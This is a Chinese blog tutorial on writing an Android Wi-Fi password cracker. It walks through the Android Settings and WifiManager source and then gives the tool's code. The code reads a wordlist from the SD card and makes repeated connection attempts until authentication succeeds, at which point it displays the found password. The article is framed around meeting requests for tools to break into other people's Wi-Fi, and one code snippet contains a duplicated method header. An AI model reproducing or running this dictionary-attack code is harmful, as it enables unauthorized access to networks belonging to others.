Android-WIFI密碼破解工具編寫初探


    最近,在好幾個安卓手機群里面都看到有朋友尋求WIFI密碼破解工具,在網上經過一番搜索后發現居然沒有這樣的軟件,這讓我感到很奇怪,難道這樣的功能實現起來很難?思索再三,決定探個究竟。

安卓WIFI原理淺析

    首先看SDK中查看WIFI操作的相關類。WIFI的支持是在android.net.wifi包中提供的。里面有WifiManagerWifiInfoWifiConfigurationScanResult等幾個常用到的類,WIFI的管理通過WifiManager暴露出來的方法來操作,仔細一看還真讓人郁悶,這個類沒有提供連接WIFI的方法,倒是有disconnect()方法來斷開連接,不過有個reconnect()方法倒是值得注意,只是該方法SDK中卻沒有詳細的介紹。在谷歌中搜索安卓連接WIFI的代碼又測試失敗,心里頓時涼了一截!看來要想完成這個功能還得下一番功夫。

    轉念一想,安卓會不會把這樣的接口隱藏了,通過AIDL的方式就可以訪問呢?為了驗證我的想法,開始在安卓源代碼的“frameworks”目錄中搜索以aidl結尾的文件,最終鎖定“IWifiManager.aidl”文件,用Editplus打開它,發現IWifiManager接口里面也沒有提供連接WIFI的方法。這條線索也斷了!

看來只能從手機WIFI的連接過程着手了。掏出手機,進入“設置”->“無線和網絡設置”->WLAN設置”里面打開“WLAN”,這時手機會自動搜索附近的WIFI熱點,點擊任一個加密的熱點會彈出密碼輸入框,如圖1所示:

 

圖 1

 

    輸入任意長度大於或等於8位的密碼后點擊連接按鈕,此時手機就會去連接該熱點,如果驗證失敗就會提示“密碼錯誤,請重新輸入正確的密碼並且再試一次”,如圖2所示:

 

圖 2

 

    如果此時更換密碼后再試一次仍然失敗的話,手機就不會再訪問該熱點並將該WLAN網絡設為禁用。既然在手機設置里可以連接WIFI,那么說明設置里面就有連接WIFI的代碼存在。

    手機設置這一塊是做為安卓手機的一個軟件包提供的,它的代碼位於安卓源碼的“packages\apps\Settings”目錄中,為了弄清楚操作流程,我決定到源碼中查看相關代碼。首先根據文件名判斷打開“packages\apps\Settings\src\com\android\settings\wifi\WifiSettings.java”文件,可以看到WifiSettings類繼承自SettingsPreferenceFragmentSettingsPreferenceFragment類使用一系列的PreferenceScreen作為顯示的列表項,現在很多軟件都用它來作為自身的設置頁面,不僅布局更簡單,而且也很方便。

    找到WifiSettings的構造函數代碼如下:

  public WifiSettings() {
        mFilter = new IntentFilter();
      mFilter.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION);
      mFilter.addAction(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
        mFilter.addAction(WifiManager.NETWORK_IDS_CHANGED_ACTION);
      mFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);
      mFilter.addAction(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION);
      mFilter.addAction(WifiManager.LINK_CONFIGURATION_CHANGED_ACTION);
      mFilter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION);
      mFilter.addAction(WifiManager.RSSI_CHANGED_ACTION);
      mFilter.addAction(WifiManager.ERROR_ACTION);
  
      mReceiver = new BroadcastReceiver() {
          @Override
          public void onReceive(Context context, Intent intent) {
              handleEvent(context, intent);
          }
      };
      mScanner = new Scanner();
  }

 

    這段代碼注冊了一個廣播接收者,接收一系列的廣播事件,WIFI_STATE_CHANGED_ACTION事件當WIFI功能開啟或關閉時會收到,SCAN_RESULTS_AVAILABLE_ACTION事件當手機掃描到有可用的WIFI連接時會收到,SUPPLICANT_STATE_CHANGED_ACTION事件當連接請求狀態發生改變時會收到,NETWORK_STATE_CHANGED_ACTION事件當網絡狀態發生變化時會收到,對於其它的事件我們不用去關心,廣播接收者中調用handleEvent()方法對所有的事件進行判斷並處理,事件處理代碼如下:

private void handleEvent(Context context, Intent intent) {
        String action = intent.getAction();
        if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
            updateWifiState(intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE,
                    WifiManager.WIFI_STATE_UNKNOWN));
        } else if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action) ||
                WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION.equals(action) ||
                WifiManager.LINK_CONFIGURATION_CHANGED_ACTION.equals(action)) {
                updateAccessPoints();
        } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {
            if (!mConnected.get()) {
                updateConnectionState(WifiInfo.getDetailedStateOf((SupplicantState)
                        intent.getParcelableExtra(WifiManager.EXTRA_NEW_STATE)));
            }
            if (mInXlSetupWizard) {
                ((WifiSettingsForSetupWizardXL)getActivity()).onSupplicantStateChanged(intent);
            }
        } else if (WifiManager.NETWORK_STATE_CHANGED_ACTION.equals(action)) {
            NetworkInfo info = (NetworkInfo) intent.getParcelableExtra(
                    WifiManager.EXTRA_NETWORK_INFO);
            mConnected.set(info.isConnected());
            changeNextButtonState(info.isConnected());
            updateAccessPoints();
            updateConnectionState(info.getDetailedState());
        }
        .....
  }

 

    代碼中分別調用updateWifiState()updateConnectionState()updateAccessPoints()等方法進行更新操作,同樣憑感覺查看updateAccessPoints()方法,代碼如下:

  private void updateAccessPoints() {
        final int wifiState = mWifiManager.getWifiState();
        switch (wifiState) {
            case WifiManager.WIFI_STATE_ENABLED:
                // AccessPoints are automatically sorted with TreeSet.
                final Collection<AccessPoint> accessPoints = constructAccessPoints();
                getPreferenceScreen().removeAll();
                if (mInXlSetupWizard) {
                    ((WifiSettingsForSetupWizardXL)getActivity()).onAccessPointsUpdated(
                            getPreferenceScreen(), accessPoints);
                } else {
                    for (AccessPoint accessPoint : accessPoints) {
                        getPreferenceScreen().addPreference(accessPoint);
                    }
                }
                break;
               .....
      }

    成功開啟WIFI,即getWifiState()返回為WIFI_STATE_ENABLED時首先會調用constructAccessPoints(),在這個方法中調用mWifiManager.getConfiguredNetworks()mWifiManager.getScanResults()來分別獲取已保存與可用的WIFI熱點網絡,接着判斷mInXlSetupWizard並調用onAccessPointsUpdated()addPreference(accessPoint),這兩者的操作都是往頁面添加顯示搜索到的WIFI熱點網絡,區別只是調用者是不是大屏手機或平板電腦(mInXlSetupWizard意思為是否為大屏幕的設置向導,這個結論由長時間分析所得!*_*XL=XLarge)。AccessPoints 的構造函數有三個,代碼如下:

AccessPoint(Context context, WifiConfiguration config) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);
        loadConfig(config);
        refresh();
    }

    AccessPoint(Context context, ScanResult result) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);
        loadResult(result);
        refresh();
    }

    AccessPoint(Context context, Bundle savedState) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);

        mConfig = savedState.getParcelable(KEY_CONFIG);
        if (mConfig != null) {
            loadConfig(mConfig);
        }
        mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT);
        if (mScanResult != null) {
            loadResult(mScanResult);
        }
        mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO);
        if (savedState.containsKey(KEY_DETAILEDSTATE)) {
            mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE));
        }
        update(mInfo, mState);
  }

 

    上面的兩個構造函數分別針對調用mWifiManager.getConfiguredNetworks()mWifiManager.getScanResults()得來的結果調用loadConfig(WifiConfiguration config)loadResult(ScanResult result),經過這一步后,AccessPoints 的成員變量也初始化完了,然后調用refresh()方法進行刷新顯示操作,代碼我就不帖了,主要就是設置顯示SSID,SSID的加密方式,信號強度等。顯示工作做完后,我們的重點應用轉向WIFI熱點網絡點擊事件的處理。點擊事件的處理同樣在WifiSettings.java文件中,代碼如下:

@Override
    public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) {
        if (preference instanceof AccessPoint) {
            mSelectedAccessPoint = (AccessPoint) preference;
            /** Bypass dialog for unsecured, unsaved networks */
            if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE &&
                    mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) {
                mSelectedAccessPoint.generateOpenNetworkConfig();
                mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig());
            } else {
                showConfigUi(mSelectedAccessPoint, false);
            }
        } else {
            return super.onPreferenceTreeClick(screen, preference);
        }
        return true;
  }

 

    這段代碼很簡單,如果WIFI沒有加密,直接調用mSelectedAccessPoint.generateOpenNetworkConfig()生成一個不加密的WifiConfiguration,代碼如下:

protected void generateOpenNetworkConfig() {
        if (security != SECURITY_NONE)
            throw new IllegalStateException();
        if (mConfig != null)
            return;
        mConfig = new WifiConfiguration();
        mConfig.SSID = AccessPoint.convertToQuotedString(ssid);
        mConfig.allowedKeyManagement.set(KeyMgmt.NONE);
  }

    代碼首先new了一個WifiConfiguration賦值給mConfig,然后設置allowedKeyManagementKeyMgmt.NONE表示不使用加密連接,這個工作做完成后就調用了mWifiManagerconnectNetwork()方法進行連接,看這個方法的父親可以發現是WifiManager,居然是WifiManager,可這個方法卻沒有導出!!!

    繼續分析,如果是加密的WIFI,就調用showConfigUi()方法來顯示輸入密碼框,對於大屏手機,即mInXlSetupWizard為真時,調用了WifiSettingsForSetupWizardXL類的showConfigUi()方法,如果為假就直接調用showDialog(accessPoint, edit)顯示對話框,代碼如下:

private void showDialog(AccessPoint accessPoint, boolean edit) {
        if (mDialog != null) {
            removeDialog(WIFI_DIALOG_ID);
            mDialog = null;
        }
        // Save the access point and edit mode
        mDlgAccessPoint = accessPoint;
        mDlgEdit = edit;
        showDialog(WIFI_DIALOG_ID);
  }

  @Override
    public Dialog onCreateDialog(int dialogId) {
        AccessPoint ap = mDlgAccessPoint; // For manual launch
        if (ap == null) { // For re-launch from saved state
            if (mAccessPointSavedState != null) {
                ap = new AccessPoint(getActivity(), mAccessPointSavedState);
                // For repeated orientation changes
                mDlgAccessPoint = ap;
            }
        }
        // If it's still null, fine, it's for Add Network
        mSelectedAccessPoint = ap;
        mDialog = new WifiDialog(getActivity(), this, ap, mDlgEdit);
        return mDialog;
    }

 

    這段代碼保存accessPoint后就調用showDialog(WIFI_DIALOG_ID)了,在onCreateDialog()初始化方法中判斷mDlgAccessPoint是否為null,如果為null就調用AccessPoint的第三個構造方法從保存的狀態中生成一個AccessPoint,最后new WifiDialog(getActivity(), this, ap, mDlgEdit)生成一個WifiDialog,這個WifiDialog繼承自AlertDialog,也就是它,最終將對話框展現在我們面前,WifiDialog構造函數的第二個參數為DialogInterface.OnClickListener的監聽器,設置為this表示類本身對按鈕點擊事件進行響應,接下來找找事件響應代碼,馬上就到關鍵啰!

  public void onClick(DialogInterface dialogInterface, int button) {
        if (mInXlSetupWizard) {
            if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {
                forget();
            } else if (button == WifiDialog.BUTTON_SUBMIT) {
                ((WifiSettingsForSetupWizardXL)getActivity()).onConnectButtonPressed();
            }
        } else {
            if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {
                forget();
            } else if (button == WifiDialog.BUTTON_SUBMIT) {
                submit(mDialog.getController());
            }
        }
  }

    代碼判斷彈出的對話框是WIFI熱點拋棄還是WIFI連接,並做出相應的處理,這里看看submit()方法的代碼:

  void submit(WifiConfigController configController) {
        int networkSetup = configController.chosenNetworkSetupMethod();
        switch(networkSetup) {
            case WifiConfigController.WPS_PBC:
            case WifiConfigController.WPS_DISPLAY:
            case WifiConfigController.WPS_KEYPAD:
                mWifiManager.startWps(configController.getWpsConfig());
                break;
            case WifiConfigController.MANUAL:
                final WifiConfiguration config = configController.getConfig();
                if (config == null) {
                    if (mSelectedAccessPoint != null
                            && !requireKeyStore(mSelectedAccessPoint.getConfig())
                            && mSelectedAccessPoint.networkId != INVALID_NETWORK_ID) {
                        mWifiManager.connectNetwork(mSelectedAccessPoint.networkId);
                    }
                } else if (config.networkId != INVALID_NETWORK_ID) {
                    if (mSelectedAccessPoint != null) {
                        saveNetwork(config);
                    }
                } else {
                    if (configController.isEdit() || requireKeyStore(config)) {
                        saveNetwork(config);
                    } else {
                        mWifiManager.connectNetwork(config);
                    }
                }
                break;
        }

        if (mWifiManager.isWifiEnabled()) {
            mScanner.resume();
        }
        updateAccessPoints();
  }

 

    關鍵代碼終於找到了,那個叫激動啊T_T!按鈕事件首先對WIFI網絡加密類型進行判斷,是WPS的就調用mWifiManager.startWps(configController.getWpsConfig()),是手動設置就調用被點擊AccessPoint 項的getConfig()方法讀取WifiConfiguration信息,如果不為null調用connectNetwork(mSelectedAccessPoint.networkId)連接網絡,為null說明可能是AccessPoint 調用第二個構造函數使用ScanResult生成的,則調用saveNetwork(config),看看saveNetwork()的代碼:

  private void saveNetwork(WifiConfiguration config) {
        if (mInXlSetupWizard) {
            ((WifiSettingsForSetupWizardXL)getActivity()).onSaveNetwork(config);
        } else {
            mWifiManager.saveNetwork(config);
        }
  }

 

調用的mWifiManager.saveNetwork(config)方法,這個方法同樣在SDK中沒有導出,到源碼中找找,最終在源代碼的“frameworks\base\wifi\java\android\net\wifi\WifiManager.java”文件中找到是通過向自身發送消息的方式調用了WifiStateMachine.java->WifiConfigStore.java->saveNetwork()方法,最終保存WIFI網絡后發送了一個已配置網絡變更廣播,這里由於篇幅就不再展開了。

分析到這里,大概了解了WIFI連接的整個流程,程序無論是否為加密的WIFI網絡,最終調用WifiManagerconnectNetwork()方法來連接網絡。而這個方法在SDK中卻沒有導出,我們該如何解決這個問題,一杯茶后,馬上回來......

connectNetwork()方法

我始終不明白安卓SDK中為什么不開放connectNetwork這個接口,但現在需要用到了,也只能接着往下面分析,WifiManagerFramework層的,接下來的探索移步到安卓源碼“frameworks\base\wifi\java\android\net\wifi”目錄中去,在WifiManager.java中搜索“connectNetwork”,代碼如下:

  /**
     * Connect to a network with the given configuration. The network also
     * gets added to the supplicant configuration.
     *
     * For a new network, this function is used instead of a
     * sequence of addNetwork(), enableNetwork(), saveConfiguration() and
     * reconnect()
     *
     * @param config the set of variables that describe the configuration,
     *            contained in a {@link WifiConfiguration} object.
     * @hide
     */
    public void connectNetwork(WifiConfiguration config) {
        if (config == null) {
            return;
        }
        mAsyncChannel.sendMessage(CMD_CONNECT_NETWORK, config);
  }

 

    注意看注釋部分!“對於一個新的網絡,這個函數相當於陸續調用了addNetwork(), enableNetwork(), saveConfiguration() 與 reconnect()”。看到這句話,心里可美了,因為這四個函數在SDK中都有導出,在代碼中分別調用它們不就達到調用connectNetwork的目的了么?

    繼續分析代碼,如果config不為空,connectNetwork就通過mAsyncChannel發送了一條“CMD_CONNECT_NETWORK”的消息,mAsyncChannel的聲明如下:

  /* For communication with WifiService */
    private AsyncChannel mAsyncChannel = new AsyncChannel();

 

    從注釋上理解,這個東西是用來與WifiService 通信的。WifiService 屬於Framework底層的服務,位於源碼“\frameworks\base\services\java\com\android\server”目錄,找到代碼如下:

        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
        ......
        case WifiManager.CMD_CONNECT_NETWORK: {
                    if (msg.obj != null) {
                        mWifiStateMachine.connectNetwork((WifiConfiguration)msg.obj);
                    } else {
                        mWifiStateMachine.connectNetwork(msg.arg1);
                    }
                    break;
                }
        ......
            }
      }

 

    在handleMessage()方法中有很多消息處理,這里由於篇幅只列出了CMD_CONNECT_NETWORK,可以看出這WifiService 就是個“托”,它只是將“病人”重新轉給mWifiStateMachine處理,mWifiStateMachineWifiStateMachine類,代碼和WifiManager在同一目錄,找到connectNetwork代碼如下:

  public void connectNetwork(int netId) {
        sendMessage(obtainMessage(CMD_CONNECT_NETWORK, netId, 0));
    }
    public void connectNetwork(WifiConfiguration wifiConfig) {
        /* arg1 is used to indicate netId, force a netId value of
         * WifiConfiguration.INVALID_NETWORK_ID when we are passing
         * a configuration since the default value of 0 is a valid netId
         */
        sendMessage(obtainMessage(CMD_CONNECT_NETWORK, WifiConfiguration.INVALID_NETWORK_ID,
                0, wifiConfig));
  }

 

真有才了!還在發消息,只不過是給自已發,我真懷疑這寫WIFI模塊的是不是90后,這一層層繞的不頭暈?找到處理代碼如下:

 

        @Override
        public boolean processMessage(Message message) {
           ......
               case CMD_CONNECT_NETWORK:
                    int netId = message.arg1;
                    WifiConfiguration config = (WifiConfiguration) message.obj;
                    /* We connect to a specific network by issuing a select
                     * to the WifiConfigStore. This enables the network,
                     * while disabling all other networks in the supplicant.
                     * Disabling a connected network will cause a disconnection
                     * from the network. A reconnectCommand() will then initiate
                     * a connection to the enabled network.
                     */
                    if (config != null) {
                        netId = WifiConfigStore.selectNetwork(config);
                    } else {
                        WifiConfigStore.selectNetwork(netId);
                    }

                    /* The state tracker handles enabling networks upon completion/failure */
                    mSupplicantStateTracker.sendMessage(CMD_CONNECT_NETWORK);

                    WifiNative.reconnectCommand();
                    mLastExplicitNetworkId = netId;
                    mLastNetworkChoiceTime  = SystemClock.elapsedRealtime();
                    mNextWifiActionExplicit = true;
                    if (DBG) log("Setting wifi connect explicit for netid " + netId);
                    /* Expect a disconnection from the old connection */
                    transitionTo(mDisconnectingState);
                    break;
                   ......
          }

 

    注釋中說:通過WifiConfigStoreselectNetwork()方法連接一個特定的網絡,當禁用supplicant中其它所有網絡時,會連接網絡,而禁用一個已經連接的網絡,將會引發disconnection操作,reconnectCommand()方法會初始化並連接已啟用的網絡。

    selectNetwork()過后,mSupplicantStateTracker發送了一條CMD_CONNECT_NETWORK消息,它其實只做了一件事,就是將“mNetworksDisabledDuringConnect ”設為true。最后WifiNative.reconnectCommand()對網絡進行重新連接,至此,WIFI的連接過程就完畢了,下面看看selectNetwork()代碼:

  static int selectNetwork(WifiConfiguration config) {
        if (config != null) {
            NetworkUpdateResult result = addOrUpdateNetworkNative(config);
            int netId = result.getNetworkId();
            if (netId != INVALID_NETWORK_ID) {
                selectNetwork(netId);
            } else {
                loge("Failed to update network " + config);
            }
            return netId;
        }
        return INVALID_NETWORK_ID;
  }
  static void selectNetwork(int netId) {
          // Reset the priority of each network at start or if it goes too high.
          if (sLastPriority == -1 || sLastPriority > 1000000) {
              synchronized (sConfiguredNetworks) {
                  for(WifiConfiguration config : sConfiguredNetworks.values()) {
                      if (config.networkId != INVALID_NETWORK_ID) {
                          config.priority = 0;
                          addOrUpdateNetworkNative(config);
                      }
                  }
              }
              sLastPriority = 0;
          }
          // Set to the highest priority and save the configuration.
          WifiConfiguration config = new WifiConfiguration();
          config.networkId = netId;
          config.priority = ++sLastPriority;
  
          addOrUpdateNetworkNative(config);
          WifiNative.saveConfigCommand();
          enableNetworkWithoutBroadcast(netId, true);
      }

 

    代碼都在這里了,我再也不帖了,帖了太多了,這段代碼流程為addOrUpdateNetworkNative()先保存一個,然后對已保存的網絡優先級降下來,這是為了讓新網絡擁有更高的優先連接權,接着執行saveConfigCommand()將配置信息保存,這里的保存操作在底層是將網絡信息保存到了“/data/misc/wifi/wpa_supplicant.conf”文件中,最后enableNetworkWithoutBroadcast(netId, true)啟用本網絡並禁用其它網絡。

    小結一下connectNetwork的執行步驟為“WifiConfigStore.selectNetwork()”->addOrUpdateNetworkNative()”->“其它網絡降級並設置自已最高優先級”->WifiNative.saveConfigCommand()->enableNetworkWithoutBroadcast(netId, true);->WifiNative.reconnectCommand()->“通過廣播判斷連接成功或失敗”。

    既然connectNetwork的執行步驟現在清楚了,那我們自己實現它便可以完成WIFI的手動連接了,

代碼編寫

WIFI密碼破解器的編寫有三種思路:

第一種就是上面說的自己動手實現connectNetwork,按照SDK中常規步驟連接WIFI,本文采用此方法。

第二種就是參看WIFI的連接代碼,通過NDK方式自己實現WIFI底層操作的調用,這種方法本文不介紹。

第三種方法同樣通過NDK方式,但優雅些。在上面的分析中,我沒有提到安卓WIFI的核心wpa_supplicant,它作為安卓WIFI的一個組件存在,為安卓系統提供了WPAWPA2等加密網絡的連接支持。在手機系統的“/system/bin”目錄中,有“wpa_supplicant”與“wpa_cli”兩個文件,前者是一個服務,客戶端通過它控制手機無線網卡,如發送AP掃描指令、提取掃描結果、關聯AP操作等。后者是一個命令行工具,用來與wpa_supplicant通信,在正常啟動wpa_supplicant服務后執行下面的指令便可以連接上WIFI網絡:

wpa_cli -iwlan0 add_network              // 增加一個網絡,會返回一個網絡號,假設為1

wpa_cli -iwlan0 set_network 1 ssid '"……"'     //ssid為要連接的網絡名

wpa_cli -iwlan0 set_network 1 psk '"……"'  //psk為連接的密碼

wpa_cli -iwlan0 enable_network 1 //以下三條與上面connectNetwork分析功能一致

wpa_cli -iwlan0 select_network 1

wpa_cli -iwlan0 save_config

    但實際上,通過命令行啟動wpa_supplicant卻不能成功,因為需要先加載WIFI驅動,然后才能啟用wpa_supplicant服務。在手機WLAN設置中啟用WIFI后,會調用WifiManager.setWifiEnabled,這個方法會依次調用WifiNative.loadDriver()->WifiNative.startSupplicant()。在加載成功后會設置一個延遲時間,到延遲時間后就會調用WifiNative.stopSupplicant()->WifiNative.unloadDriver()停止wpa_supplicant服務並卸載驅動,這是為了給設備省電,因為WIFI驅動長時間加載可是很耗電的。

    命令行本身無法直接加載驅動,導致了wpa_supplicant無法成功開啟,這也是無法通過命令行直接連接WIFI的原因,但並不是沒有突破方法!可以寫代碼並使用NDK方式調用WifiNative.loadDriver(),接着啟用wpa_supplicant服務,服務加載成功后執行上面的wpa_cli命令行,就可以輕松連接WIFI了。可以直接寫一個原生的bin,實現驅動加載及WIFI連接,然后在安卓代碼中直接以創建進程的方式啟動或者在shell中執行等方式運行。這些方法都具有可行性,本文不做深入探討,只采用文中介紹的第一種方法來完成程序的功能。

    目前WIFI加密種類常用的有WEPWPAWPA2EAP等,WifiManagerWEPEAP做了內部消化,WPAWPA2則使用wpa_supplicant進行管理,目前,由於WEP的安全性問題,使用的人已經不多了,一般用戶采用WPAWPA2方式接入較多,在今天的程序中,也只處理了這兩種加密的情況。

    按照上面的分析思路,代碼實現應該很明了了,但實際編碼過程中還是存在着諸多問題,首先是停止掃描的問題,在WifiManager中沒有提供stopScan()方法,而是在其中通過一個內部繼承自HandlerSCanner來管理,目前來說,我沒想到解決方案,在開始破解跑WIFI密碼的過程中,WIFI掃描線程一直還是開着,我只是通過一個cracking的布爾值判斷來阻止界面的更新,這個問題可能在SDK層無法得到解決。第二個問題是一些類的枚舉值,如SupplicantState.AUTHENTICATINGKeyMgmt.WPA2_PSK等在SDK中都是沒導出的,要想使用就需要自己添加。談到WPA2_PSK,很有必要講一下WifiConfiguration類的構造,連接WIFI前需要先構造這個類,然后通過addNetwork()添加網絡操作后才能進行下一步的連接,在網上搜索到的連接代碼如下:

......
mConfig = new WifiConfiguration();
mConfig.status = WifiConfiguration.Status.ENABLED;
mConfig.hiddenSSID = false;
mConfig.SSID = "\"ssid\"";
mConfig.preSharedKey = "\"password\"";
mConfig.allowedAuthAlgorithms.set(AuthAlgorithm.OPEN);
mConfig.allowedKeyManagement.set(KeyMgmt.WPA_PSK);
mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
mConfig.allowedPairwiseCiphers.set(PairwiseCipher.CCMP);
mConfig.allowedPairwiseCiphers.set(PairwiseCipher.TKIP);
mConfig.allowedGroupCiphers.set(GroupCipher.CCMP);
mConfig.allowedGroupCiphers.set(GroupCipher.TKIP);
Int netid = wm.addNetwork(mConfig);
wm.enableNetwork(netid, false);
......

 

    在測試初期我是直接搬這代碼來用的,實際上這代碼是廢的,根本連接不上任何的WIFI,狀態代碼顯示一直停留在關聯AP中,而且這樣設置WifiConfiguration后在手機設置中也無法開啟使用WIFI了,當時我也很納悶,你都不能用的代碼,怎么還在網上好多篇帖子里亂竄?后來跟蹤WIFI連接的過程后,整理出的代碼如下:

......
if (security == SECURITY_PSK) {
    mConfig = new WifiConfiguration();
    mConfig.SSID = AccessPoint.convertToQuotedString(ssid);
    if (pskType == PskType.WPA) {
        mConfig.allowedProtocols.set(WifiConfiguration.Protocol.WPA);
    }
    else if (pskType == PskType.WPA2) {
        mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
  }
  mConfig.priority = 1;
  mConfig.status = WifiConfiguration.Status.ENABLED;
    mConfig.SSID = "\"ssid\"";
  mConfig.preSharedKey = "\"password\"";
    Int netid = wm.addNetwork(mConfig);
    wm.enableNetwork(netid, false);
......
}

 

    代碼比上面的要簡潔些,這不該有的東西啊你堅決不能有!

    啟動Eclipse新建一個WIFICracker的工程,OnCreate()方法代碼如下:

public void onCreate(Bundle savedInstanceState) {
      public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);        
        try {
            passwordGetter = new PasswordGetter("/sdcard/password.txt");
        } catch (FileNotFoundException e) {
            showMessageDialog("程序初始化失敗", "請將密碼字典放到SD卡目錄並更名為password.txt", "確定", 
                    false, new OnClickListener() {                
                public void onClick(DialogInterface dialog, int which) {
                    WIFICracker.this.finish();                 
                }
            });            
        }
        wm = (WifiManager) getSystemService(WIFI_SERVICE);
        if(!wm.isWifiEnabled())
            wm.setWifiEnabled(true);    //開啟WIFI
        
        deleteSavedConfigs();
        cracking = false;
        netid = -1;
        
        wifiReceiver = new WifiReceiver();
        intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
        intentFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);
        registerReceiver(wifiReceiver, intentFilter);
        
        wm.startScan(); //開始掃描網絡  
      }

 

    deleteSavedConfigs()方法將手機已存的Config中全部刪除,原因是因為如果已經保存了正確的WIFI連接密碼,程序運行會無法工作,具體代碼參看附件。然后構造一個PasswordGetter對象,它用來讀取"/sdcard/password.txt"文件每一行作為WIFI的探測密碼,類的完整代碼如下:

public class PasswordGetter {
    private String password;
    private File file;
    private FileReader reader;
    private BufferedReader br;
    
    public PasswordGetter(String passwordFile){
        password = null;
        try {
            //File file = new File("/sdcard/password.txt");
            file = new File(passwordFile);
            if (!file.exists())
                throw new FileNotFoundException();
            reader = new FileReader(file);
            br = new BufferedReader(reader);
            
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
    }
    
    public void reSet(){
        try {
            br.close();
            reader.close();
            reader = new FileReader(file);
            br = new BufferedReader(reader);
        } catch (IOException e) {
            e.printStackTrace();
            password = null;
        }
    }
    
    public String getPassword(){
        try {
            password = br.readLine();
        } catch (IOException e) {
            e.printStackTrace();
            password = null;
        }
        return password;
    }
    
    public void Clean(){
        try {
            br.close();
            reader.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

 

    這個類很簡單,具體代碼就不分析了,為了方便配置與加載WifiConfiguration,我將安卓源碼中的AccessPoint類進行了部分改裝后用到程序中,這樣可以節省很多時間。

    程序的核心在於對WIFI狀態的控制與連接,前者我使用了廣播接收者進行監聽,在收到廣播后進行相應處理,代碼如下:

class WifiReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {        
            String action = intent.getAction();
            if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action)) {
                if (results == null)    //只初始化一次
                    results = wm.getScanResults();
                try {
                    setTitle("WIFI連接點個數為:"
                    + String.valueOf(getPreferenceScreen().getPreferenceCount()));
                } catch (Exception e) {
                    e.printStackTrace();
                }
                if( cracking == false)  //破解WIFI密碼時不更新界面
                    update();                
            } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {
                WifiInfo info = wm.getConnectionInfo();
                SupplicantState state = info.getSupplicantState();
                String str = null;
                if (state == SupplicantState.ASSOCIATED){
                    str = "關聯AP完成";
                } else if(state.toString().equals("AUTHENTICATING")){
                    str = "正在驗證";
                } else if (state == SupplicantState.ASSOCIATING){
                    str = "正在關聯AP...";
                } else if (state == SupplicantState.COMPLETED){
                    if(cracking) {
                        cracking = false;
                        showMessageDialog("恭喜您,密碼跑出來了!", "密碼為:"
                                + AccessPoint.removeDoubleQuotes(password), 
                                "確定", false, new OnClickListener(){    
                            public void onClick(DialogInterface dialog, int which) {
                                wm.disconnect();
                                enablePreferenceScreens(true);
                            }                        
                        });
                        cracking = false;
                        return;
                    } else
                        str = "已連接";
                } else if (state == SupplicantState.DISCONNECTED){
                    str = "已斷開";
                } else if (state == SupplicantState.DORMANT){
                    str = "暫停活動";
                } else if (state == SupplicantState.FOUR_WAY_HANDSHAKE){
                    str = "四路握手中...";
                } else if (state == SupplicantState.GROUP_HANDSHAKE){
                    str = "GROUP_HANDSHAKE";
                } else if (state == SupplicantState.INACTIVE){
                    str = "休眠中...";
                    if (cracking) connectNetwork(); //連接網絡     
                } else if (state == SupplicantState.INVALID){
                    str = "無效";
                } else if (state == SupplicantState.SCANNING){
                    str = "掃描中...";
                } else if (state == SupplicantState.UNINITIALIZED){
                    str = "未初始化";
                }
                setTitle(str);
   final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);
                if (errorCode == WifiManager.ERROR_AUTHENTICATING) {
                    Log.d(TAG, "WIFI驗證失敗!");
                    setTitle("WIFI驗證失敗!");
                    if( cracking == true)
                        connectNetwork();
                }
            }            
        }           
  } 

 

    這些代碼的實現一部分源於查看SDK后的測試,另一部分源於跟蹤安卓源碼時的摘錄。如這段:

final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);
          if (errorCode == WifiManager.ERROR_AUTHENTICATING) {
                    Log.d(TAG, "WIFI驗證失敗!");
                    setTitle("WIFI驗證失敗!");
                    if( cracking == true)
                        connectNetwork();
                }

 

    不查看安卓源碼,你根本不會知道怎么檢測WifiManager.ERROR_AUTHENTICATING,這讓我在寫測試代碼時也着實苦惱了一段時間。好了,代碼就分析到這里,回想一下,網上為什么沒有這樣的軟件也知道原因了,因為SDK中沒有提供相應的WIFI連接接口,要想實現就必須要深入研究這塊,因此,太多人覺得過於繁瑣也就沒弄了。

    最后,測試了一下效果,一分鍾大概能跑20個密碼,上個跑密碼截圖:

圖3


免責聲明!

